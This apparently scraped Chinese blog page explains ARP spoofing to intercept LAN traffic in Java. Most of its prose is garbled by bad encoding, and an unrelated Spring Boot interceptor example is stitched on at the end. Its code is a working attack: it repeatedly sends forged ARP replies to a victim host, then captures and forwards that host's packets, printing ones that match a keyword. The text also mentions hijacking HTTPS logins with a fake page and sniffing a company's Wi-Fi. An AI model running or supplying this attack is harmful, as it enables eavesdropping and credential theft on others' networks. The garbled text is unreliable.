用Java代码实现拦截区域网数据包

璧峰洜锛?/p>

      鍚冮キ鐨勬椂闂村湪鎯冲鏋滃尯鍩熺綉鍐呴兘鏄€氳繃璺敱鍣ㄤ笂缃戯紝閭e浣曞疄鐜版嫤鎴暣涓尯鍩熺綉鐨勬暟鎹寘锛屼粠鑰屽疄鐜版煇绉嶇鎺㈡銆?/p>

鎬濊矾锛?/em>

     姝e父鏄€氳繃鐢佃剳缃戝崱棰勫厛璁剧疆鎴栧垎閰嶇殑IP锛嬬綉鍏冲璺敱鍣ㄨ繘琛岄€氳锛屾瘮濡傝闂櫨搴︼細

     A涓绘満锛堟寚瀹氱綉鍏筹級 >> 璺敱鍣?>> DNS(鍩熷悕杞琁P) >>  鏈嶅姟绔紙鐧惧害锛?/em>

     鑰屾垜闇€瑕佽揪鍒扮殑鐩殑鏄湪锛?"A涓绘満鈥?璇锋眰"璺敱鍣?/span>"鐨勬椂闂磋繘琛屾暟鎹寘鐨勬嫤鎴紝骞惰浆鍙戣嚦鐪熸鐨勮矾鐢卞櫒(杞彂鐩殑鏄负浜嗕笉鏂綉锛屼笉琚洿鎺ュ彂鐜? ,杩欎釜鏃堕棿A涓绘満鐨勮姹傛暟鎹氨琚垜璁板綍涓嬫潵浜嗐€?/em>

 

鐤戦棶锛?/p>

瑕佽揪鍒颁笂鏂囨墍璇夌洰鐨勶紝闇€瑕佽В鍐充互涓嬩笁涓枒闂?/p>

     1) A涓绘満鏄浣曡窡璺敱鍣ㄨ繘琛岄€氳(鍘熺悊)

     2) 鎴戣濡備綍鎷︽埅

     3) 濡備綍鍒╃敤浠g爜鎴栧伐鍏峰疄鐜版嫤鎴?/p>

 

闂1:

        瑙f瀽锛欰涓绘満鍙戦€佹暟鎹寘鑲畾闇€瑕佽窡璺敱鍣ㄨ繘琛屼氦浜掞紝閭d箞璺敱鍣ㄧ殑鍦板潃灏变竴瀹氬瓨鍌ㄥ湪A涓绘満鐨勬煇澶勫湴鏂广€傝繖灏遍渶瑕佸埄鐢ㄥ埌缃戠粶鍗忚鐨?span style="color: #ff0000">ARP锛?lt;杩欐槸鍦板潃锛?/span>鍗忚锛堣鎯呰鎵撳紑鏌ョ湅ARP鍘熺悊锛夈€?/p>

        鎵撳紑鍛戒护琛岀獥鍙o紝杈撳叆arp -a 鏌ョ湅缂撳瓨鍦板潃鍒楄〃锛屽彲浠ョ湅鍒扮殑鏄矾鐢卞櫒鐨処P鍦板潃璺烳AC鍦板潃

       

        绛旀锛欰涓绘満鍙戦€佹暟鎹寘>>瀵绘壘璺敱鍣ㄥ湴鍧€>>灏佽鏁版嵁鍖?gt;>璺敱鍣?/p>

闂2:

       瑙f瀽锛氶€氳繃闂1鎴戜滑宸茬粡寰楃煡A涓绘満鏄浣曡窡璺敱鍣ㄨ繘琛屾暟鎹寘鐨勯€氫俊鐨勪簡銆傦紙骞挎挱寮忚幏鍙栬矾鐢卞櫒IP鍦板潃鍙奙AC锛岀劧鍚庡瓨鍌ㄥ湪ARP缂撳瓨鍒楄〃銆傚箍鎾紡灏辨槸鏁翠釜棰戞涓嬮兘鍙互鐪嬪埌锛屼緥濡?92.168.1.锛婏級锛岄偅鎴戜滑闇€瑕佸仛鐨勫氨鏄富鍔ㄥ彂閫佷竴涓箍鎾粰A涓绘満锛屽憡璇夊畠鎴戜滑鎵嶆槸璺敱鍣ㄣ€備綘闇€瑕佸彂閫佹暟鎹寘鍒版垜杩欓噷銆傜湅涓嬪浘(20:f4:1b:70:8:2e 杩欎釜鏄垜浼鐨凪AC鍦板潃)锛岃繖鏍稟涓绘満鍙戦€佺殑鏁版嵁鍖呭氨鍒版垜浠殑鏈哄櫒閲屼簡銆傚悓鏃舵垜浠繕闇€缃戠粶杞彂锛堝師鐞嗚嚜琛岀櫨搴︼級锛屼负浠€涔堝憿锛屽洜涓烘垜浠渶瑕丄涓绘満姝e父涓婄綉銆?/p>

      

      绛旀锛欰涓绘満鍙戦€佹暟鎹寘>>浼璺敱鍣ㄤ富鏈?gt;>瀵绘壘璺敱鍣ㄥ湴鍧€>>灏佽鏁版嵁鍖?gt;>璺敱鍣?/p>

闂3:

        瑙f瀽锛氭兂涓€鎯崇敤Java鍐欎細椤烘墜涓€浜涳紝骞朵笖Java鏈夊ARP鍗忚鏀寔鐨凧AR鍖匤pcap銆?/p>

        绛旀锛欽ava鍒╃敤Jpcap缂栧啓arp鎷︽埅銆?/p>

閫氳繃涓変釜闂鎴戜滑鏀惰幏浜咥RP鍘熺悊锛屽強Java濡備綍瀹炵幇鏁版嵁鍖呮嫤鎴?Jpcap.jar+Jpcap.dll)

浠ヤ笂涓烘暣浣撴€濊矾锛屼笅闈㈠氨鏄叿浣撲唬鐮佸疄鐜颁簡銆傦紙瀹㈠畼鐪嬫噦浜嗗悧锛?/p>

 

寮€鍙戠幆澧冿細

缂栬緫鍣?intellij idea 15

JDK:1.7

jar:Jpcap.jar

鍏跺畠:jdk婧愮洰褰曚笅鏀剧疆Jpcap.dll

 

鍏叡鍙傛暟绫?/p>

 1 /**
 2  * Created by duke on 2016/11/16.
 3  * arp-client
 4  */
 5 public class Constants
 6 {
 7     public static  final String version = "0.1";
 8     public static  final String author = "Duke 瑗跨摐澶т汉";
 9 
10     /*************************************************************************************
11      *                              鍙傛暟閰嶇疆                                                        *
12      * ***********************************************************************************
13      */
14     public static String DE_IP = "192.168.1.159";
15     public static String DE_MAC = "ac-bc-32-93-97-6d";
16     public static String SRC_IP = "192.168.1.1";//
17     public static String SRC_MAC = "20-F4-1B-80-08-2E";
18     public static int NET_WORK = 0;
19     public static int TIME = 2;
20 }
鍏叡鍙傛暟绫籚iew

 

缃戝崱宸ュ叿绫?/p>

 1 package util;
 2 
 3 import jpcap.JpcapCaptor;
 4 import jpcap.NetworkInterface;
 5 import jpcap.NetworkInterfaceAddress;
 6 
 7 /**
 8  * Created by duke on 2016/11/16.
 9  * arp-client
10  */
11 public class NetWorkUtil
12 {
13     public static void main(String[] args) {
14         getDevice(0);
15         System.out.println(">>>>>>>>>>>>>>>>>>>");
16         getDevice(1);
17     }
18 
19     /**
20      * 浣跨敤String鐨剆tartsWith鍑芥暟鍒ゆ柇IP鐩稿悓鐨勫紑濮嬮儴鍒嗙浉鍚屽嵆鍙?
21      * @param segment 渚嬪锛?92.168.1
22      * @return
23      */
24     public static NetworkInterface getDevice(String segment)
25     {
26         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
27         for (int i =0;i<devices.length;i++)
28         {
29             NetworkInterfaceAddress[] addresses = devices[i].addresses;
30             if(addresses[1].address.toString().startsWith(segment)){
31                 return  devices[i];
32             }
33         }
34         return devices[0];
35     }
36     public static NetworkInterface getDevice(int network)
37     {
38         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
39         NetworkInterfaceAddress[] addresses = devices[network].addresses;
40         NetworkInterface device = devices[network];
41         return device;
42     }
43 }
缃戝崱宸ュ叿绫籚iew

 

ARP娴嬭瘯绫?/p>

 1 import jpcap.JpcapCaptor;
 2 import jpcap.JpcapSender;
 3 import jpcap.NetworkInterface;
 4 import jpcap.packet.ARPPacket;
 5 import jpcap.packet.EthernetPacket;
 6 
 7 import java.net.InetAddress;
 8 import java.net.UnknownHostException;
 9 
10 /**
11  * Created by duke on 2016/11/15.
12  * arp-client
13  * 瀵规寚瀹氫富鏈虹殑鎷︽埅
14  */
15 public class ArpTest
16 {
17 
18 
19     public static void main(String[] args) throws Exception {
20         sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME);
21     }
22     /**
23      *  涓轰粈涔堥渶瑕両P鍦板潃璺烳AC鍦板潃鍛?鍥犱负鎴戜滑闇€瑕佸幓瀵逛粬杩涜ARP鍗忚鐨勬楠椼€?
24      * @param deip A涓绘満鍦板潃锛堣娆洪獥鐨勭洰鏍嘔P鍦板潃
25      * @param deMac A涓绘満MAC鍦板潃锛堣娆洪獥鐨勭洰鏍囩洰鏍嘙AC鏁扮粍
26      * @param srcIp 琚浛鎹ac鍦板潃鐨処P鍦板潃
27      * @param srcMac 鍋囩殑MAC鏁扮粍,涔熷氨鏄垜浠敤鏉ユ崟鎹夋暟鎹寘鐨勪富鏈篗AC鍦板潃銆?
28      * @param network 鍙戦€乤rp鐨勭綉鍗★紝涓庤娆洪獥鐩爣鍦板潃闇€瑕佸湪鍚屼竴缃戞
29      * @param time ARP閲嶅彂闂撮殧鏃堕棿,涓嶆柇鍙戦€侀槻姝㈣璺敱鍣ㄥ湴鍧€鏇挎崲
30      * @throws Exception
31      */
32     static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception {
33         InetAddress desip = InetAddress.getByName(deip);
34         byte[] desmac = stomac(deMac);
35         InetAddress srcip = InetAddress.getByName(srcIp);
36         byte[] srcmac = stomac(srcMac);
37         // 鏋氫妇缃戝崱骞舵墦寮€璁惧
38         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
39         NetworkInterface device = devices[network];
40         JpcapSender sender = JpcapSender.openDevice(device);
41         // 璁剧疆ARP鍖?/span>
42         ARPPacket arp = new ARPPacket();
43         arp.hardtype = ARPPacket.HARDTYPE_ETHER;
44         arp.prototype = ARPPacket.PROTOTYPE_IP;
45         arp.operation = ARPPacket.ARP_REPLY;
46         arp.hlen = 6;
47         arp.plen = 4;
48         arp.sender_hardaddr = srcmac;
49         arp.sender_protoaddr = srcip.getAddress();
50         arp.target_hardaddr = desmac;
51         arp.target_protoaddr = desip.getAddress();
52         // 璁剧疆DLC甯?/span>
53         EthernetPacket ether = new EthernetPacket();
54         ether.frametype = EthernetPacket.ETHERTYPE_ARP;
55         ether.src_mac = srcmac;
56         ether.dst_mac = desmac;
57         arp.datalink = ether;
58         // 鍙戦€丄RP搴旂瓟鍖?/span>
59         while (true) {
60             System.out.println("send arp  >  "+deip);
61             sender.sendPacket(arp);
62             Thread.sleep(time * 1000);
63         }
64     }
65     static byte[] stomac(String s)
66     {
67         byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
68         String[] s1 = s.split("-");
69         for (int x = 0; x < s1.length; x++)
70         {
71             mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
72         }
73         return mac;
74     }
75 }
Arp娴嬭瘯绫籚iew

 

鏁版嵁鍖呮嫤鎴被

 1 import jpcap.*;
 2 import jpcap.packet.Packet;
 3 import util.NetWorkUtil;
 4 
 5 import java.io.IOException;
 6 import java.io.UnsupportedEncodingException;
 7 
 8 /**
 9  * Created by duke on 2016/11/15.
10  * arp-client
11  */
12 public class NetWorkIntercept
13 {
14     /*
15        鎷︽埅缃戝崱鏁版嵁鍖?
16      */
17     public static void main(String[] args) throws Exception {
18         //璇峰厛绉绘ArpTest杩愯Main鍑芥暟杩涜ARP娆洪獥锛堣寰椾慨鏀瑰弬鏁板€间负浣犺嚜宸辨祴璇曠幆澧?
19 
20         //鑾峰彇鍚岀綉娈电綉鍗?/span>
21         NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK);
22         //鎵撳紑缃戝崱
23         JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20);
24 
25         while (true)
26         {
27           //鑾峰彇娴侀噺鍖咃紝杩欎釜鏃堕棿arp娆鸿瘓鎴愬姛鍚庯紝璇ヤ富鏈虹殑娴侀噺鍖呭氨浼氶€氳繃浣犵殑涓绘満缃戝崱鍙戦€併€?/span>
28           Packet p = captor.getPacket();
29           if(p!=null)
30           {
31               byte header_byte[] = p.data;
32               String header = new String(header_byte,"ISO-8859-1");
33               //captor.setFilter("",true); 绛涢€夊嚱鏁拌繕鍦ㄧ爺绌舵€庝箞鐢ㄨ垝鏈? 杩欓噷绾﹀畾鍗忚浼氬ソ鐢ㄤ竴鐐?/span>
34               if(header.contains("qichacha")) //鎴戣寰楄繖绉嶆洿鐖? 鍝堝搱鍝?/span>
35               {
36                   System.out.println(header);//鑾峰彇鏁版嵁鍖呭共涓€浜涗綘璇ュ共鐨勪簨鎯?/span>
37                   JpcapSender sender = captor.getJpcapSenderInstance();//鑾峰彇
38                   sender.sendPacket(p);//鏁版嵁鍖呭彂閫侊紙
39  } 40  } 41 
42  } 43 
44  } 45 }
鏁版嵁鍖呮嫤鎴被View

 

 

 鍦ㄥ畬鎴愪互涓婁唬鐮佸悗锛屾垜鍙堢鍒颁咯涓棶棰橈紝鎴戠殑鍒濊》鏄細鈥滄嫤鎴暣涓尯鍩熺綉鐨勬暟鎹寘锛屼粠鑰屽疄鐜版煇绉嶇鎺㈡銆傗€?/p>

 鍙槸鐩墠鍏抽敭闂鏄疕TTP鍗忚鏁版嵁鍖呰兘姝e父鎷︽埅锛屼絾鏄疕TTPS鏄姞瀵嗙殑闃匡紒  鑰岀幇鍦ㄤ富娴佺綉绔欓兘鏄娇鐢℉TTPS鍔犲瘑鐨勶紝杩囧垎锛堜笉杩囧彲浠ュ埄鐢ㄥ姭鎸佹潵瑙e喅锛屾瘮濡備綘鎯崇櫥褰曚紒涓歲q閭锛屾嫤鎴埌鏁版嵁鍖呭悗杩斿洖涓€涓亣鐨勭粰浣狅紝杩欑灏遍拡瀵规€ф瘮杈冨己浜嗭級锛侊紒锛侊紒

 鍙﹀涓€涓棶棰樺氨鏄垜鎯崇户缁慨鏀逛紶鍏ヤ紶鍑虹殑鏁版嵁鍖呫€傦紙鐣欏埌涓嬩竴姝ヨВ鍐虫妸锛屾瘯绔熷伐浣滀篃鎸哄浜嬫儏鐨?鍝堝搱鍝垀

 杩欎釜闂涔熸毚婕忎簡鍏徃鍐呴儴瀹夊叏婕忔礊锛岃瘯鎯充竴涓嬶紝鎴戣共鍦ㄤ綘瀹跺叕鍙搁棬鍙o紝鎵綘瀹跺叕鍙竁IFI锛屼竴鐩存壂鍒板瘑鐮佽繘鍘?濡傛灉娌℃湁鍙岮RP鎺柦锛岄偅涓嶆槸闅忛殢渚夸究鐨勫氨鑳芥嬁鍒扮浉褰撳鐨勬暟鎹簡銆?/p>

 

 浠g爜涓嬭浇锛歨ttps://pan.baidu.com/s/1bpECV4V 锛堝寘鎷紩鐢ㄧ殑jar鍖呰窡dll

 

鏌ラ槄鐨勭浉鍏虫枃妗o細

http://baike.baidu.com/link?url=cUC4NJGprFT40oQ01TsEHr1XnyChb1-AoQx_gXn7s6dnxszgmJUJ6ZfQtKXLkHeWs8cRJHETFezgaVvWQ24Qo_

http://blog.csdn.net/jiasike/article/details/51026905

http://3y.uu456.com/bp_83y3a1vqlk01k8300stp_1.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
下面是一个使用Java代码在Spring Boot框架中实现拦截器的示例: 首先,创建一个拦截器类 `ExampleInterceptor`,实现 `HandlerInterceptor` 接口: ```java import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class ExampleInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { // 在请求处理之前执行的逻辑 System.out.println("Pre-handle logic"); // 返回 true 表示继续执行后续的拦截器或处理器方法,返回 false 则中断请求 return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { // 在请求处理之后、视图渲染之前执行的逻辑 System.out.println("Post-handle logic"); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { // 在完成整个请求处理后执行的逻辑 System.out.println("After-completion logic"); } } ``` 接下来,在配置类中注册拦截器。创建一个配置类 `InterceptorConfig`,并实现 `WebMvcConfigurer` 接口,重写 `addInterceptors` 方法: ```java import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; @Configuration public class InterceptorConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new ExampleInterceptor()) .addPathPatterns("/**"); } } ``` 在这个配置类中,我们通过 `addInterceptors` 方法将 `ExampleInterceptor` 注册到拦截器链中,并使用 `addPathPatterns` 方法指定拦截的路径模式,这里使用了 `"/**"` 来匹配所有请求路径。 最后,运行你的Spring Boot应用程序,拦截器就会在请求处理过程中起作用。当请求到达时,`preHandle` 方法会在处理器方法之前执行,`postHandle` 方法会在处理器方法之后、视图渲染之前执行,`afterCompletion` 方法会在整个请求处理完成后执行。 请注意,具体的路径模式和拦截器逻辑可以根据你的需求进行自定义修改。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值